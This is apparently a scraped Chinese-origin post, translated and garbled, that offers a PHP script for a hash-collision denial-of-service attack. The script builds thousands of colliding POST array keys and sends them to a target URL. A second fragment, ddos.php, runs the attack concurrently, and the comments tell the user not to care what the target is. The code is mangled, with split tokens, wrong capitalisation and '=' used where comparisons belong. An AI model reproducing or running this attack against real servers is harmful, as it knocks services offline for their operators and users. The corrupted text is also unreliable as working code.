Use the hash conflict vulnerability in PHP to launch DDoS attacks. File dos. what is the php target address? $ host127.0.0.1test. php; $ data; $ sizepow (2, 15); for ($ key0, $ max ($ size-1) * $ s file dos. php
// Target address
// What does the target address do if it exists?
$ Host = 'http: // 127.0.0.1/test. php ';
$ Data = '';
$ Size = pow (2, 15 );
For ($ key = 0, $ max = ($ size-1) * $ size; $ key <= $ max; $ key + = $ size)
{
$ Data. = '& array ['. $ key. '] = 0 ';
}
$ Ret = curl ($ host, ltrim ($ data ,'&'));
Var_dump ($ ret );
Function curl ($ url, $ post, $ timeout = 30 ){
$ Ch = curl_init ();
Curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, true );
Curl_setopt ($ ch, CURLOPT_TIMEOUT, $ timeout );
Curl_setopt ($ ch, CURLOPT_CONNECTTIMEOUT, $ timeout-5 );
Curl_setopt ($ ch, CURLOPT_HTTPHEADER, array ('CT :'));
Curl_setopt ($ ch, CURLOPT_URL, $ url );
Curl_setopt ($ ch, CURLOPT_POST, true );
Curl_setopt ($ ch, CURLOPT_POSTFIELDS, $ post );
$ Output = curl_exec ($ ch );
If ($ output = false) return false;
$ Info = curl_getinfo ($ ch );
$ Http_code = $ info ['http _ Code'];
If ($ http_code = 404) return false;
Curl_close ($ ch );
Return $ output;
}
File ddos. php
[Php]
DDOS
For ($ I = 0; $ I <5; $ I ++) {// concurrency
Echo '';
}
?>
From chaojie2009
Else // target address // as long as the target address exists, don't worry about what it is for $ host = http: // 127.0.0.1/test. php; $ data =; $ size = pow (2, 15); for ($ key = 0, $ max = ($ size-1) * $ s...